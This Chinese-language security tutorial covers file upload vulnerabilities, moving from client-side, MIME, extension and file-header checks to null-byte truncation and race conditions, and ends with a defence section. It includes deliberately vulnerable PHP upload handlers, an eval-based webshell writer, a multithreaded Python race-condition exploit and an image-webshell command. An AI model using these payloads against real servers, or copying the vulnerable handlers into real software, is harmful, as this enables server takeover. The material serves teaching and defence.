1.前言 本来打算是作为一个系列一直更新下去,讲解基础漏洞的原理、基本防御和攻击方法。但是看到师傅们的总结都很全面,尝试总结了一下发现大多都是照搬,只有等到有新的东西才写下来啦。
2.概述 在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。
如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。一般会搭配解析漏洞或文件包含漏洞。
3.上传检测 通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。
一般文件上传检测分为客户端检测和服务端检测
3.1.客户端检测 一般使用 javascript 检验后缀名是否合法,在浏览加载文件,但还未点击上传按钮时便弹出对话框,示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function CheckFileType() { var objButton=document .getElementById("Button1" ); var objFileUpload=document .getElementById("FileUpload1" ); var objMSG=document .getElementById("msg" ); var FileName=new String (objFileUpload.value); var extension =new String (FileName.substring(FileName.lastIndexOf("." )+1 ,FileName.length)); if (extension =="jpg" ||extension =="JPG" ) { objButton.disabled=false ; objMSG.innerHTML="文件检测通过" ; } else { objButton.disabled=true ; objMSG.innerHTML="请选择正确的文件上传" ; } }
绕过方法:
将需要上传的恶意代码文件类型改为允许上传的类型,例如将shell.asp改为shell.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名shell.jpg改为shell.asp
上传页面,审查元素,修改或禁用 JavaScript 检测函数3.2.服务端检验 3.2.1.MIME类型检测 MIME:使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if ($_FILES ['file' ]['type' ] != "image/gif" ){ echo "Sorry, we only allow uploading GIF images" ; exit ; } $uploaddir = './' ;$uploadfile = $uploaddir . basename($_FILES ['file' ]['name' ]);if (move_uploaded_file($_FILES ['file' ]['tmp_name' ], $uploadfile )){ echo "File is valid, and was successfully uploaded.\n" ; } else { echo "File uploading failed.\n" ; } ?>
关键代码:if($_FILES['file']['type'] != "image/gif")
绕过方法:
Burp Suite代理进行抓包,将Content-Type修改为image/gif,或者其他允许的类型
3.2.2.文件扩展名检测 分为白名单和黑名单检测,一般白名单比黑名单安全
3.2.2.1.黑名单检测 黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc等等
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php function getExt ($filename) { return substr($filename,strripos($filename,'.' )+1 ); } if ($_FILES["file" ]["error" ] > 0 ){ echo "Error: " . $_FILES["file" ]["error" ] . "<br />" ; } else { $black_file = explode("|" ,"php|jsp|asp" ); $new_upload_file_ext = strtolower(getExt($_FILES["file" ]["name" ])); if (in_array($new_upload_file_ext,$black_file)) { echo "文件不合法" ; die (); } else { $filename = time()."." .$new_upload_file_ext; if (move_uploaded_file($_FILES['file' ]['tmp_name' ],"upload/" .$filename)) { echo "Upload Success" ; } } } ?>
3.2.2.2.白名单检测 仅允许指定的文件类型上传,比如仅与需上传jpg 、 gif 、 doc等类型的文件,其他全部禁止
3.2.2.3.绕过方法 ①文件名大小写绕过
用像 AsP,pHp 之类的文件名绕过黑名单检测
②名单列表绕过
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx cdx
php php php3 php4
exe exee
③特殊文件名绕过
比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格 ,但要注意 Unix/Linux 系统没有这个特性
④0x00截断
截断的核心,就是chr(0)这个字符,这个字符不为空(Null),也不是空字符(“”),更不是空格。 当程序在输出含有chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生 。
伪代码演示
1 2 3 4 5 name = getname(httprequest) type =gettype(name ) if (type == jpg) SaveFileToPath(UploadPath.name , name )
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php /* CVE-2015 -2348 PHP before 5.4 .39 , 5.5 .x before 5.5 .23 , and 5.6 .x before 5.6 .7 move_uploaded_file(string $filename ,string $destination ) $destination 参数代表得失上传文件移动的最终目的地址如果$destination 变量是从用户$_GET 或$_POST 中获得的并且我们可控, 那么我们可以利用空字符\x00 来截断后面的拓展名,从而造成任意文件上传 */ if (isset($_POST ['Upload' ])){ $target_path = WEB_PAGE_TO_ROOT."hackable/uploads/" ; $target_path = $target_path . basename($_FILES ['uploaded' ]['name' ]); $uploaded_name = $_FILES ['uploaded' ]['name' ]; $uploaded_ext = substr($uploaded_name , strrpos($uploaded_name , '.' ) + 1 ); $uploaded_size = $_FILES ['uploaded' ]['size' ]; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG" ) && ($uploaded_size < 100000 )){ if (!move_uploaded_file($_FILES ['uploaded' ]['tmp_name' ], $_POST ['drops' ])) { $html .= '<pre>' ; $html .= 'Your image was not uploaded.' ; $html .= '</pre>' ; }else { $html .= '<pre>' ; $html .= $target_path . ' succesfully uploaded!' ; $html .= '</pre>' ; }} else { $html .= '<pre>' ; $html .= 'Your image was not uploaded.' ; $html .= '</pre>' ; } }
move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");
这本应该创建一个名为file.php\x00.jpg的文件,但实际上创建的文件是file.php
这里比较有趣的一点是在获取文件名后缀时
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
由于在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符,文件名为 test.jpg0x00.php
时 PHP 仍认为后缀为 jpg,这个特性在 PHP5-PHP7 都是存在的。
3.2.3.服务端文件内容检测 3.2.3.1.文件头检测 常见文件头:
JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
PHP根据文件头检测文件类型
3.2.3.2.文件相关信息检测 一般就是检查图片文件的大小,图片文件的尺寸之类的信息,常用getimagesize()函数
3.2.3.3.绕过方法 通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可
4.其他 4.1.竞争上传 示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $allowtype = array ("gif" ,"png" ,"jpg" ); $size = 10000000 ; $path = "./" ; $filename = $_FILES['file' ]['name' ]; if (is_uploaded_file($_FILES['file' ]['tmp_name' ])){ if (!move_uploaded_file($_FILES['file' ]['tmp_name' ],$path.$filename)){ die ("error:can not move" ); } }else { die ("error:not an upload file!" ); } $newfile = $path.$filename; echo "file upload success.file path is: " .$newfile."\n<br />" ;if ($_FILES['file' ]['error' ]>0 ){ unlink($newfile); die ("Upload file error: " ); } $ext = array_pop(explode("." ,$_FILES['file' ]['name' ])); if (!in_array($ext,$allowtype)){ unlink($newfile); die ("error:upload the file type is not allowed,delete the file!" ); } ?>
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>
当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import os import requests import threading class RaceCondition (threading .Thread ): def __init__ (self ) : threading.Thread.__init__ (self ) self .url = "http://127.0.0.1/code/upload/shell.php" self .uploadUrl = "http://127.0.0.1/code/upload_compete.php" def _get (self ) : print('try to call uploaded file...' ) r = requests.get(self .url) if r.status_code == 200 : print("[*]create file Str3am.php success" ) os._exit(0 ) def _upload (self ) : print("upload file....." ) file = {"file" :open ("shell.php" ,"r" )} requests.post(self .uploadUrl, files=file) def run (self ) : while True: for i in range(5 ): self ._get() for i in range(10 ): self ._upload() self ._get() if __name__ == "__main__" : threads = 20 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join()
成功写入 shell
4.2.图片马制作 copy /b 1.jpg+shell.php 2.jpg
注意 /b
5.解析漏洞 IIS、Apache、Nginx 解析漏洞
服务器解析漏洞 | nmask
6.利用总结 首先判断是程序员自己写的上传点,还是编辑器的上传功能
如果是编辑器上传功能,goolge当前编辑器的漏洞
如果是程序员写的上传点
上传一个正常的jpg图片 查看上传点是否可用
上传一个正常的jpg图片,burp拦截,修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测)
上传一个正常的jpg图片,burp拦截, 00截断 1.php%00.jpg
判断服务器是什么类型,web服务器程序,是什么类型,版本号多少
测试时的准备工作:
什么语言?什么容器?什么系统?都什么版本?
上传文件都可以上传什么格式的文件?还是允许上传任意类型?
上传的文件会不会被重命名或者二次渲染?
7.防御 ① 文件上传目录设置不可执行
只要 Web 容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。例如配置 nginx 把上传的文件当做静态资源访问
② 判断文件类型
判断文件类型时结合使用 MIME Type 、后缀检查等方式。后缀检查使用白名单方式。同时可对图片进行二次处理或者压缩,如php gd,但是就算使用 php gd 也有绕过方式:https://secgeek.net/bookfresh-vulnerability/
③ 使用随机数改写文件名喝文件路径
使用随机数,可以增加攻击的成本。同时,像 shell.php.rar.rar
或 corssdomain.xml
这类文件,都会因为文件名被改写而无法成功实施攻击
参考链接